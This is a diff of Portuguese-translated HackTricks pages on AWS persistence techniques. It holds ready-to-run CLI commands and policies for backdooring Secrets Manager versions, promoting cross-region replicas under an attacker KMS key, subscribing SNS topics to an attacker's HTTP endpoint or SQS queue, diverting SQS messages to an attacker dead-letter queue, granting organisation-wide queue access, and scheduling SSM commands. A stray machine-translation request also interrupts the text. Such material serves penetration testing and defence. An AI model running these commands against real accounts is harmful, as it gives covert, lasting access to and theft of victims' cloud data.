--secret-id "$SECRET_ID" \
|
||||
--client-request-token "$BACKTOK" \
|
||||
--secret-string {backdoor:hunter2!}
|
||||
|
||||
# 3) Restore production and hide attacker version under custom stage
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id "$CUR" \
|
||||
--remove-from-version-id "$BACKTOK"
|
||||
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--version-stage ATTACKER \
|
||||
--move-to-version-id "$BACKTOK"
|
||||
|
||||
# Verify stages
|
||||
aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated
|
||||
|
||||
# 4) On-demand flip to the attacker’s value and revert quickly
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id "$BACKTOK" \
|
||||
--remove-from-version-id "$CUR"
|
||||
|
||||
# Validate served plaintext now equals the attacker payload
|
||||
aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text
|
||||
|
||||
# Revert to reduce detection
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id "$CUR" \
|
||||
--remove-from-version-id "$BACKTOK"
|
||||
```
|
||||
</details>
|
||||
|
||||
- Notas
|
||||
- Quando você fornecer `--client-request-token`, Secrets Manager usa-o como o `VersionId`. Adicionar uma nova versão sem definir explicitamente `--version-stages` move `AWSCURRENT` para a nova versão por padrão, e marca a anterior como `AWSPREVIOUS`.
|
||||
|
||||
|
||||
### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
|
||||
|
||||
Abuse da replicação multi-Region do Secrets Manager para criar uma réplica de um secret alvo em uma Região menos monitorada, criptografá-la com uma chave KMS controlada pelo atacante nessa Região, então promover a réplica para um secret independente e anexar uma resource policy permissiva que conceda ao atacante acesso de leitura. O secret original na Região primária permanece inalterado, proporcionando acesso durável e furtivo ao valor do secret via a réplica promovida enquanto contorna restrições de KMS/policy na primária.
|
||||
|
||||
- Requisitos
|
||||
- Permissões: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
|
||||
- Na Região da réplica: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (ou `kms:PutKeyPolicy`) para permitir que o principal atacante faça `kms:Decrypt`.
|
||||
- Um principal atacante (user/role) para receber acesso de leitura ao secret promovido.
|
||||
|
||||
- Impacto
|
||||
- Caminho de acesso persistente entre Regiões ao valor do secret através de uma réplica standalone sob um KMS CMK controlado pelo atacante e resource policy permissiva. O secret primário na Região original permanece intacto.
|
||||
|
||||
- Attack (CLI)
|
||||
- Vars
|
||||
```bash
|
||||
export R1=<primary-region> # e.g., us-east-1
|
||||
export R2=<replica-region> # e.g., us-west-2
|
||||
export SECRET_ID=<secret name or ARN in R1>
|
||||
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
|
||||
```
|
||||
1) Criar chave KMS controlada pelo atacante na Região de réplica
|
||||
```bash
|
||||
cat > /tmp/kms_policy.json <<'JSON'
|
||||
{"Version":"2012-10-17","Statement":[
|
||||
{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
|
||||
]}
|
||||
JSON
|
||||
KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
|
||||
--query KeyMetadata.KeyId --output text)
|
||||
aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
|
||||
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
|
||||
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
|
||||
```
|
||||
2) Replicar o secret para R2 usando a KMS key do atacante
|
||||
```bash
|
||||
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
|
||||
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
|
||||
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
|
||||
```
|
||||
3) Promover a réplica para uma instância independente no R2
|
||||
```bash
|
||||
# Use the secret name (same across Regions)
|
||||
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
|
||||
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
|
||||
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
4) Anexar uma política de recursos permissiva ao segredo independente em R2
|
||||
```bash
|
||||
cat > /tmp/replica_policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
|
||||
JSON
|
||||
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
|
||||
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
5) Leia o secret do attacker principal em R2
|
||||
```bash
|
||||
# Configure attacker credentials and read
|
||||
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
|
||||
```
|
||||
|
||||
@@ -1,77 +0,0 @@
|
||||
# AWS - SNS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
Ao criar um **tópico SNS**, você precisa indicar com uma política IAM **quem tem acesso para ler e escrever**. É possível indicar contas externas, ARN de funções ou **até mesmo "\*"**.\
|
||||
A seguinte política dá a todos na AWS acesso para ler e escrever no tópico SNS chamado **`MySNS.fifo`**:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__default_statement_ID",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"SNS:Publish",
|
||||
"SNS:RemovePermission",
|
||||
"SNS:SetTopicAttributes",
|
||||
"SNS:DeleteTopic",
|
||||
"SNS:ListSubscriptionsByTopic",
|
||||
"SNS:GetTopicAttributes",
|
||||
"SNS:AddPermission",
|
||||
"SNS:Subscribe"
|
||||
],
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"AWS:SourceOwner": "318142138553"
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"Sid": "__console_pub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
},
|
||||
{
|
||||
"Sid": "__console_sub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Subscribe",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Criar Assinantes
|
||||
|
||||
Para continuar exfiltrando todas as mensagens de todos os tópicos, o atacante pode **criar assinantes para todos os tópicos**.
|
||||
|
||||
Observe que se o **tópico for do tipo FIFO**, apenas assinantes usando o protocolo **SQS** podem ser utilizados.
|
||||
```bash
|
||||
aws sns subscribe --region <region> \
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,113 @@
|
||||
# AWS - SNS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
Quando criar um **SNS topic**, você precisa indicar, através de uma política IAM, **quem tem acesso de leitura e escrita**. É possível indicar contas externas, ARN de roles, ou **até mesmo "\*"**.\
|
||||
A política a seguir dá a todos na AWS acesso de leitura e escrita no SNS topic chamado **`MySNS.fifo`**:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__default_statement_ID",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"SNS:Publish",
|
||||
"SNS:RemovePermission",
|
||||
"SNS:SetTopicAttributes",
|
||||
"SNS:DeleteTopic",
|
||||
"SNS:ListSubscriptionsByTopic",
|
||||
"SNS:GetTopicAttributes",
|
||||
"SNS:AddPermission",
|
||||
"SNS:Subscribe"
|
||||
],
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"AWS:SourceOwner": "318142138553"
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"Sid": "__console_pub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
},
|
||||
{
|
||||
"Sid": "__console_sub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Subscribe",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Criar Assinantes
|
||||
|
||||
Para continuar exfiltrando todas as mensagens de todos os tópicos, um atacante poderia **criar assinantes para todos os tópicos**.
|
||||
|
||||
Observe que, se o **tópico for do tipo FIFO**, apenas assinantes que utilizem o protocolo **SQS** podem ser usados.
|
||||
```bash
|
||||
aws sns subscribe --region <region> \
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
```
|
||||
### Exfiltração encoberta e seletiva via FilterPolicy em MessageBody
|
||||
|
||||
Um atacante com `sns:Subscribe` e `sns:SetSubscriptionAttributes` em um tópico pode criar uma assinatura SQS furtiva que só encaminha mensagens cujo corpo JSON corresponde a um filtro muito restrito (por exemplo, `{"secret":"true"}`). Isso reduz o volume e a detecção enquanto ainda consegue exfiltrar registros sensíveis.
|
||||
|
||||
**Impacto Potencial**: Exfiltração encoberta e de baixo ruído somente de mensagens SNS direcionadas de um tópico vítima.
|
||||
|
||||
Passos (AWS CLI):
|
||||
- Certifique-se de que a política da fila SQS do atacante permita `sqs:SendMessage` do `TopicArn` da vítima (Condition `aws:SourceArn` equals the `TopicArn`).
|
||||
- Crie uma assinatura SQS para o tópico:
|
||||
|
||||
```bash
|
||||
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
|
||||
```
|
||||
|
||||
- Configure o filtro para operar no corpo da mensagem e corresponder apenas a `secret=true`:
|
||||
|
||||
```bash
|
||||
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
|
||||
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
|
||||
```
|
||||
|
||||
- Opcional (furtivo): habilite raw delivery para que apenas o payload bruto chegue ao receptor:
|
||||
|
||||
```bash
|
||||
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
|
||||
```
|
||||
|
||||
- Validação: publique duas mensagens e confirme que apenas a primeira é entregue na fila do atacante. Exemplos de payloads:
|
||||
|
||||
```json
|
||||
{"secret":"true","data":"exfil"}
|
||||
{"secret":"false","data":"benign"}
|
||||
```
|
||||
|
||||
- Limpeza: cancele a assinatura e exclua a fila SQS do atacante se criada para testes de persistência.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,37 +0,0 @@
|
||||
# AWS - SQS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Usando política de recursos
|
||||
|
||||
No SQS, você precisa indicar com uma política IAM **quem tem acesso para ler e escrever**. É possível indicar contas externas, ARN de funções ou **até mesmo "\*"**.\
|
||||
A seguinte política dá a todos na AWS acesso a tudo na fila chamada **MyTestQueue**:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__owner_statement",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": ["SQS:*"],
|
||||
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!NOTE]
|
||||
> Você poderia até **disparar uma Lambda na conta dos atacantes toda vez que uma nova mensagem** for colocada na fila (você precisaria re-colocá-la) de alguma forma. Para isso, siga estas instruções: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,47 @@
|
||||
# AWS - SQS Persistência
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Usando política de recurso
|
||||
|
||||
Em SQS você precisa indicar com uma política IAM **quem tem acesso de leitura e escrita**. É possível indicar contas externas, ARN of roles, or **even "\*"**.\
|
||||
A política a seguir dá a todos na AWS acesso a tudo na fila chamada **MyTestQueue**:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__owner_statement",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": ["SQS:*"],
|
||||
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!NOTE]
|
||||
> Você poderia até **acionar uma Lambda na conta do atacante toda vez que uma nova mensagem** é colocada na fila (você precisaria enviá-la novamente). Para isso, siga estas instruções: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
|
||||
### Mais técnicas de persistência SQS
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-dlq-backdoor-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-orgid-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,71 @@
|
||||
# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abusar das Dead-Letter Queues (DLQs) do SQS para desviar furtivamente dados de uma fila de origem vítima, apontando sua RedrivePolicy para uma fila controlada pelo atacante. Com um maxReceiveCount baixo e acionando ou aguardando falhas normais de processamento, as mensagens são automaticamente desviadas para o DLQ do atacante sem alterar os produtores ou os Lambda event source mappings.
|
||||
|
||||
## Permissões Abusadas
|
||||
- sqs:SetQueueAttributes na fila de origem vítima (para definir RedrivePolicy)
|
||||
- sqs:SetQueueAttributes no DLQ do atacante (para definir RedriveAllowPolicy)
|
||||
- Opcional para aceleração: sqs:ReceiveMessage na fila de origem
|
||||
- Opcional para configuração: sqs:CreateQueue, sqs:SendMessage
|
||||
|
||||
## Fluxo na Mesma Conta (allowAll)
|
||||
|
||||
Preparação (conta do atacante ou principal comprometido):
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# 1) Create attacker DLQ
|
||||
ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
|
||||
ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# 2) Allow any same-account source queue to use this DLQ
|
||||
aws sqs set-queue-attributes \
|
||||
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
|
||||
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'
|
||||
```
|
||||
Execução (executar como principal comprometido na conta da vítima):
|
||||
```bash
|
||||
# 3) Point victim source queue to attacker DLQ with low retries
|
||||
VICTIM_SRC_URL=<victim source queue url>
|
||||
ATTACKER_DLQ_ARN=<attacker dlq arn>
|
||||
aws sqs set-queue-attributes \
|
||||
--queue-url "$VICTIM_SRC_URL" --region $REGION \
|
||||
--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'
|
||||
```
|
||||
Aceleração (opcional):
|
||||
```bash
|
||||
# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
|
||||
for i in {1..2}; do \
|
||||
aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
|
||||
--max-number-of-messages 10 --visibility-timeout 0; \
|
||||
done
|
||||
```
|
||||
Por favor envie o conteúdo do arquivo src/pentesting-cloud/aws-security/aws-persistence/aws-sqs-persistence/aws-sqs-dlq-backdoor-persistence.md para que eu possa traduzir para português mantendo a sintaxe markdown/html conforme as instruções.
|
||||
```bash
|
||||
# 5) Confirm messages appear in attacker DLQ
|
||||
aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
|
||||
--max-number-of-messages 10 --attribute-names All --message-attribute-names All
|
||||
```
|
||||
Exemplo de evidência (Atributos incluem DeadLetterQueueSourceArn):
|
||||
```json
|
||||
{
|
||||
"MessageId": "...",
|
||||
"Body": "...",
|
||||
"Attributes": {
|
||||
"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
|
||||
}
|
||||
}
|
||||
```
|
||||
## Variante entre Contas (byQueue)
|
||||
Defina RedriveAllowPolicy na DLQ do atacante para permitir apenas ARNs de filas de origem específicas da vítima:
|
||||
```bash
|
||||
VICTIM_SRC_ARN=<victim source queue arn>
|
||||
aws sqs set-queue-attributes \
|
||||
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
|
||||
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'
|
||||
```
|
||||
## Impacto
|
||||
- Exfiltração/persistência de dados furtiva e durável ao desviar automaticamente mensagens com falha de uma fila SQS de origem da vítima para uma DLQ controlada pelo atacante, com ruído operacional mínimo e sem alterações nos produtores ou nos mapeamentos do Lambda.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,38 @@
|
||||
# AWS - SQS OrgID Policy Backdoor
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abuse uma resource policy da fila SQS para conceder silenciosamente as ações Send, Receive e ChangeMessageVisibility a qualquer principal que pertença a uma AWS Organization alvo usando a condição aws:PrincipalOrgID. Isso cria um caminho oculto com escopo por organização que frequentemente evita controles que procuram apenas ARNs explícitos de conta ou role ou princípios curinga.
|
||||
|
||||
### Backdoor policy (anexar à policy da fila SQS)
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "OrgScopedBackdoor",
|
||||
"Effect": "Allow",
|
||||
"Principal": "*",
|
||||
"Action": [
|
||||
"sqs:ReceiveMessage",
|
||||
"sqs:SendMessage",
|
||||
"sqs:ChangeMessageVisibility",
|
||||
"sqs:GetQueueAttributes"
|
||||
],
|
||||
"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME",
|
||||
"Condition": {
|
||||
"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" }
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Passos
|
||||
- Obtenha o ID da organização usando a AWS Organizations API.
|
||||
- Obtenha o ARN da fila SQS e defina a política da fila incluindo a declaração acima.
|
||||
- A partir de qualquer principal que pertença a essa organização, envie e receba uma mensagem na fila para validar o acesso.
|
||||
|
||||
### Impacto
|
||||
- Acesso oculto em toda a organização para ler e gravar mensagens SQS a partir de qualquer conta na AWS Organization especificada.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,27 +0,0 @@
|
||||
# AWS - SSM Persistência
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SSM
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
|
||||
{{#endref}}
|
||||
|
||||
### Usando ssm:CreateAssociation para persistência
|
||||
|
||||
Um atacante com a permissão **`ssm:CreateAssociation`** pode criar uma Associação do Gerenciador de Estado para executar comandos automaticamente em instâncias EC2 gerenciadas pelo SSM. Essas associações podem ser configuradas para serem executadas em um intervalo fixo, tornando-as adequadas para persistência semelhante a backdoor sem sessões interativas.
|
||||
```bash
|
||||
aws ssm create-association \
|
||||
--name SSM-Document-Name \
|
||||
--targets Key=InstanceIds,Values=target-instance-id \
|
||||
--parameters commands=["malicious-command"] \
|
||||
--schedule-expression "rate(30 minutes)" \
|
||||
--association-name association-name
|
||||
```
|
||||
> [!NOTE]
|
||||
> Este método de persistência funciona enquanto a instância EC2 for gerenciada pelo Systems Manager, o agente SSM estiver em execução e o atacante tiver permissão para criar associações. Não requer sessões interativas ou permissões explícitas ssm:SendCommand. **Importante:** O parâmetro `--schedule-expression` (por exemplo, `rate(30 minutes)`) deve respeitar o intervalo mínimo de 30 minutos da AWS. Para execução imediata ou única, omita completamente `--schedule-expression` — a associação será executada uma vez após a criação.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,27 @@
|
||||
# AWS - SSM Persistência
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SSM
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
|
||||
{{#endref}}
|
||||
|
||||
### Usando ssm:CreateAssociation para persistência
|
||||
|
||||
Um atacante com a permissão **`ssm:CreateAssociation`** pode criar uma State Manager Association para executar automaticamente comandos em instâncias EC2 gerenciadas pelo SSM. Essas State Manager Associations podem ser configuradas para serem executadas em intervalos fixos, tornando-as adequadas para backdoor-like persistence sem sessões interativas.
|
||||
```bash
|
||||
aws ssm create-association \
|
||||
--name SSM-Document-Name \
|
||||
--targets Key=InstanceIds,Values=target-instance-id \
|
||||
--parameters commands=["malicious-command"] \
|
||||
--schedule-expression "rate(30 minutes)" \
|
||||
--association-name association-name
|
||||
```
|
||||
> [!NOTE]
|
||||
> Este método de persistência funciona desde que a instância EC2 seja gerenciada pelo Systems Manager, o SSM agent esteja em execução, e o atacante tenha permissão para criar associations. Não requer sessões interativas nem permissões explícitas ssm:SendCommand. **Importante:** O parâmetro `--schedule-expression` (por exemplo, `rate(30 minutes)`) deve respeitar o intervalo mínimo da AWS de 30 minutos. Para execução imediata ou única, omita completamente `--schedule-expression` — a association será executada uma vez após a criação.
|
||||
>
|
||||
> {{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,21 +0,0 @@
|
||||
# AWS - Persistência em Step Functions
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Step Functions
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Backdooring de Step Functions
|
||||
|
||||
Backdoor uma step function para fazer com que ela execute qualquer truque de persistência, de modo que toda vez que for executada, rodará seus passos maliciosos.
|
||||
|
||||
### Backdooring de aliases
|
||||
|
||||
Se a conta AWS estiver usando aliases para chamar step functions, seria possível modificar um alias para usar uma nova versão backdoored da step function.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,21 @@
|
||||
# AWS - Step Functions Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Step Functions
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Step function Backdooring
|
||||
|
||||
Backdoor a step function para fazê-la executar qualquer técnica de persistência, de modo que toda vez que for executada ela executará seus passos maliciosos.
|
||||
|
||||
### Backdooring aliases
|
||||
|
||||
Se a conta AWS estiver usando aliases para chamar step functions, seria possível modificar um alias para apontar para uma nova versão backdoored da step function.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,36 +1,36 @@
|
||||
# AWS - Persistência STS
|
||||
# AWS - STS Persistência
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## STS
|
||||
|
||||
Para mais informações, acesse:
|
||||
Para mais informações acesse:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sts-enum.md
|
||||
../../aws-services/aws-sts-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Token de função assumida
|
||||
### Assume role token
|
||||
|
||||
Tokens temporários não podem ser listados, então manter um token temporário ativo é uma maneira de manter a persistência.
|
||||
Tokens temporários não podem ser listados, portanto manter um token temporário ativo é uma forma de manter persistência.
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
|
||||
|
||||
# Com MFA
|
||||
# With MFA
|
||||
aws sts get-session-token \
|
||||
--serial-number <mfa-device-name> \
|
||||
--token-code <code-from-token>
|
||||
|
||||
# O nome do dispositivo de hardware geralmente é o número na parte de trás do dispositivo, como GAHT12345678
|
||||
<strong># O nome do dispositivo SMS é o ARN na AWS, como arn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># O nome do dispositivo virtual é o ARN na AWS, como arn:aws:iam::123456789012:mfa/username
|
||||
# Hardware device name is usually the number from the back of the device, such as GAHT12345678
|
||||
<strong># SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
|
||||
</code></pre>
|
||||
|
||||
### Malabarismo de Cadeia de Funções
|
||||
### Role Chain Juggling
|
||||
|
||||
[**A cadeia de funções é um recurso reconhecido da AWS**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), frequentemente utilizado para manter a persistência furtiva. Envolve a capacidade de **assumir uma função que então assume outra**, potencialmente revertendo para a função inicial de maneira **cíclica**. Cada vez que uma função é assumida, o campo de expiração das credenciais é atualizado. Consequentemente, se duas funções forem configuradas para assumir mutuamente uma à outra, essa configuração permite a renovação perpétua das credenciais.
|
||||
[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), frequentemente utilizada para manter persistência furtiva. Envolve a capacidade de **assumir um role que então assume outro**, potencialmente revertendo ao role inicial de maneira **cíclica**. Cada vez que um role é assumido, o campo de expiração das credenciais é atualizado. Consequentemente, se dois roles estiverem configurados para assumirem um ao outro mutuamente, essa configuração permite a renovação perpétua das credenciais.
|
||||
|
||||
Você pode usar esta [**ferramenta**](https://github.com/hotnops/AWSRoleJuggler/) para manter a cadeia de funções ativa:
|
||||
You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going:
|
||||
```bash
|
||||
./aws_role_juggler.py -h
|
||||
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
|
||||
@@ -40,11 +40,11 @@ optional arguments:
|
||||
